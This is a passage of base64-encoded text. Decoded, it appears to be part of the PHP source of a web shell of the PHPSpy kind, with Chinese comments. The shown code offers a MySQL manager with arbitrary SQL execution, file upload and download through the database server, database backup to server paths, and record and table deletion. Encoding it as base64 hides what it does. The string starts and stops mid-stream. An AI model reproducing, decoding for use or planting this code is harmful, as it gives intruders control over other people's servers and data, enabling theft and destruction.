5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJzYXZlcGF0aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9wPicpOwoJcCgnPGgyPkRvd25sb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7CgltYWtlaGlkZSgnZGJob3N0Jyk7CgltYWtlaGlkZSgnZGJwb3J0Jyk7CgltYWtlaGlkZSgnZGJ1c2VyJyk7CgltYWtlaGlkZSgnZGJwYXNzJyk7CgltYWtlaGlkZSgnZGJuYW1lJyk7CgltYWtlaGlkZSgnY2hhcnNldCcpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOwoJcCgnPC9mb3JtPicpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ215c3FsYWRtaW4nKSB7CgkhJGRiaG9zdCAmJiAkZGJob3N0ID0gJ2xvY2FsaG9zdCc7CgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOwoJISRkYnBvcnQgJiYgJGRicG9ydCA9ICczMzA2JzsKCSRkYmZvcm0gPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImNvbm5lY3QiIG5hbWU9ImNvbm5lY3QiIHZhbHVlPSIxIiAvPic7CglpZihpc3NldCgkZGJob3N0KSl7CgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRiaG9zdFwiIG5hbWU9XCJkYmhvc3RcIiB2YWx1ZT1cIiRkYmhvc3RcIiAvPlxuIjsKCX0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7CgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRidXNlclwiIG5hbWU9XCJkYnVzZXJcIiB2YWx1ZT1cIiRkYnVzZXJcIiAvPlxuIjsKCX0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7CgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicGFzc1wiIG5hbWU9XCJkYnBhc3NcIiB2YWx1ZT1cIiRkYnBhc3NcIiAvPlxuIjsKCX0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7CgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicG9ydFwiIG5hbWU9XCJkYnBvcnRcIiB2YWx1ZT1cIiRkYnBvcnRcIiAvPlxuIjsKCX0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7CgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRibmFtZVwiIG5hbWU9XCJkYm5hbWVcIiB2YWx1ZT1cIiRkYm5hbWVcIiAvPlxuIjsKCX0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJjaGFyc2V0XCIgbmFtZT1cImNoYXJzZXRcIiB2YWx1ZT1cIiRjaGFyc2V0XCIgLz5cbiI7Cgl9CgoJaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICRzYXZlYXNmaWxlKSB7CgkJaWYgKCEkdGFibGUpIHsKCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsKCQl9IGVsc2UgewoJCQlteWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOwoJCQkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7CgkJCSRmcCA9IEBmb3BlbigkcGF0aCwndycpOwoJCQlpZiAoJGZwKSB7CgkJCQkkcmVzdWx0ID0gcSgnU0hPVyB0YWJsZXMnKTsKCQkJCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsKCQkJCSRteXNxbGRhdGEgPSAnJzsKCQkJCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgewoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsKCQkJCQl9CgkJCQl9CgkJCQlmY2xvc2UoJGZwKTsKCQkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkcGF0aCk7CgkJCQltKCdEYXRhYmFzZSBoYXMgc3VjY2VzcyBiYWNrdXAgdG8gPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOwoJCQkJbXlzcWxfY2xvc2UoKTsKCQkJfSBlbHNlIHsKCQkJCW0oJ0JhY2t1cCBmYWlsZWQnKTsKCQkJfQoJCX0KCX0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsKCQkka2V5c3RyID0gJHZhbHN0ciA9ICR0bXAgPSAnJzsKCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7CgkJCWlmICgkdmFsKSB7CgkJCQkka2V5c3RyIC49ICR0bXAuJGtleTsKCQkJCSR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7CgkJCQkkdG1wID0gJywnOwoJCQl9CgkJfQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsKCQkJbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJVUERBVEUgJHRhYmxlbmFtZSBTRVQgJHZhbHN0ciBXSEVSRSAkd2hlcmUgTElNSVQgMSIpID8gJ1JlY29yZCB1cGRhdGluZycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJGRvaW5nID09ICdkZWwnICYmICRiYXNlNjQpIHsKCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOwoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsKCQlteWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOwoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCX0KCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7CgkJbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CglwKCc8cD4nKTsKCXAoJ0RCSG9zdDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOwoJcCgnOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsKCXAoJ0RCVXNlcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOwoJcCgnREJQYXNzOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7CglwKCdEQkNoYXJzZXQ6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldHMsJ3NlbGVjdGVkJz0+JGNoYXJzZXQpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGVkaXRyZWNvcmQoYWN0aW9uLCBiYXNlNjQsIHRhYmxlbmFtZSl7CglpZiAoYWN0aW9uID09ICdkZWwnKSB7CQkKCQlpZiAoIWNvbmZpcm0oJ0lzIG9yIGlzblwndCBkZWxldGlvbiByZWNvcmQ/JykpIHJldHVybjsKCX0KCSQoJ3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247CgkkKCdyZWNvcmRsaXN0JykuYmFzZTY0LnZhbHVlPWJhc2U2NDsKCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOwoJJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsKCWlmKCFkYm5hbWUpIHJldHVybjsKCSQoJ3NldGRibmFtZScpLmRibmFtZS52YWx1ZT1kYm5hbWU7CgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBzZXR0YWJsZSh0YWJsZW5hbWUsZG9pbmcscGFnZSkgewoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOwoJaWYgKGRvaW5nKSB7CgkJJCgnc2V0dGFibGUnKS5kb2luZy52YWx1ZT1kb2luZzsKCX0KCWlmIChwYWdlKSB7CgkJJCgnc2V0dGFibGUnKS5wYWdlLnZhbHVlPXBhZ2U7Cgl9CgkkKCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdzZXR0YWJsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJLy/mk43kvZzorrDlvZUKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CgltYWtlaGlkZSgnYmFzZTY0Jyk7CgltYWtlaGlkZSgndGFibGVuYW1lJyk7CglwKCRkYmZvcm0pOwoJZm9ybWZvb3QoKTsKCgkvL+mAieWumuaVsOaNruW6kwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ215c3FsYWRtaW4nKTsKCXAoJGRiZm9ybSk7CglpZiAoISRkYm5hbWUpIHsKCQltYWtlaGlkZSgnZGJuYW1lJyk7Cgl9Cglmb3JtZm9vdCgpOwoKCS8v6YCJ5a6a6KGoCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOwoJbWFrZWhpZGUoJ3BhZ2UnLCRwYWdlKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJZm9ybWZvb3QoKTsKCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOwkKCSRwYWdlbnVtID0gMzA7CgkkcGFnZSA9IGludHZhbCgkcGFnZSk7CglpZigkcGFnZSkgewoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07Cgl9IGVsc2UgewoJCSRzdGFydF9saW1pdCA9IDA7CgkJJHBhZ2UgPSAxOwoJfQoJaWYgKGlzc2V0KCRkYmhvc3QpICYmIGlzc2V0KCRkYnVzZXIpICYmIGlzc2V0KCRkYnBhc3MpICYmIGlzc2V0KCRjb25uZWN0KSkgewoJCW15ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQkvL+iOt+WPluaVsOaNruW6k+S/oeaBrwoJCSRteXNxbHZlciA9IG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpOwoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsKCQkkaGlnaHZlciA9ICRteXNxbHZlciA+ICc0LjEnID8gMSA6IDA7CgoJCS8v6I635Y+W5pWw5o2u5bqTCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsKCQkkZGJzID0gYXJyYXkoKTsKCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOwoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOwoJCX0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsKCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJaWYgKCRkYm5hbWUpIHsKCQkJcCgnPHA+Jyk7CgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUpIHsKCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsKCQkJfQoJCQlwKCc8L3A+Jyk7CgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsKCgkJCSRnZXRudW1zcWwgPSAnJzsKCQkJJHJ1bnF1ZXJ5ID0gMDsKCQkJaWYgKCRzcWxfcXVlcnkpIHsKCQkJCSRydW5xdWVyeSA9IDE7CgkJCX0KCQkJJGFsbG93ZWRpdCA9IDA7CgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7CgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsKCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7CgkJCQkkYWxsb3dlZGl0ID0gMTsKCQkJfQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsKCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSAnLiRkYm5hbWUuJzo8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOwoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7CgkJCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CgkJCXAoJGRiZm9ybSk7CgkJCXAoJzwvZm9ybT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgewoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgewoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJJHJvd2RiID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOwoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOwoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydOdWxsJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0tleSddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0V4dHJhJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJfQoJCQkJCXRiZm9vdCgpOwoJCQkJfSBlbHNlaWYgKCRkb2luZyA9PSAnaW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7CgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7CgkJCQkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7CgkJCQkJfQoJCQkJCSRycyA9IGFycmF5KCk7CgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgewoJCQkJCQlwKCc8aDI+SW5zZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOwoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOwoJCQkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSBMSU1JVCAxIik7CgkJCQkJCSRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCQkJCX0KCQkJCQlwKCc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy4kc2VsZi4nIj4nKTsKCQkJCQlwKCRkYmZvcm0pOwoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7CgkJCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsJHRhYmxlbmFtZSk7CgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgewoJCQkJCQlpZiAoJHJzWyRyb3dbJ0ZpZWxkJ11dKSB7CgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQkkdmFsdWUgPSAnJzsKCQkJCQkJfQoJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOwoJCQkJCQlpZiAoJHJvd1snS2V5J10gPT0gJ1VOSScgfHwgJHJvd1snRXh0cmEnXSA9PSAnYXV0b19pbmNyZW1lbnQnIHx8ICRyb3dbJ0tleSddID09ICdQUkknKSB7CgkJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPicuJHZhbHVlLicmbmJzcDs8L3RkPjwvdHI+Jyk7CgkJCQkJCX0gZWxzZSB7CQkJCQkJCQoJCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOwoJCQkJCQltYWtlaGlkZSgnYmFzZTY0JywgJGJhc2U2NCk7CgkJCQkJfQoJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOwoJCQkJfSBlbHNlIHsKCQkJCQkkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOwoJCQkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsKCQkJCQkJaWYgKCRxdWVyeSkgewoJCQkJCQkJcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsKCQkJCQkJCXN3aXRjaChxeSgkcXVlcnkpKQoJCQkJCQkJewoJCQkJCQkJCWNhc2UgMDoKCQkJCQkJCQkJcCgnPGgyPkVycm9yIDogJy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJCQkJCQkJCQlicmVhazsJCgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7CgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsKCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsKCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsKCQkJCQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQkJfQoKCQkJCQkJCQkJLyoqKioqKioqKioqKioqKioqKioqKi8KCQkJCQkJCQkJJGdldGZpZWxkID0